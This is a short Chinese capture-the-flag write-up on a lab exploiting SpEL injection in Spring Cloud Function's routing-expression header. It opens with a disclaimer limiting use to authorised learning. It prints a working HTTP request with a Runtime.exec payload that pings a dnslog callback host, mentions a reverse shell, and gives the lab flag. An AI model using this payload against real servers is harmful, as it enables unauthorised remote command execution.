声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
SpringCloudFunction是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时, HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。
春秋云镜开启靶场:
命令执行
POST /functionRouter HTTP/1.1
Host: 47.95.3.91:36574
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping ony8ez.dnslog.cn")
可以执行命令
使用EXP反弹shell
开启端口监听
执行EXP
成功获取到shell
查看flag
cat ../../../../../../../flag
flag{916f9846-7ebc-4763-9ccb-1056aa668346}
文中用到的工具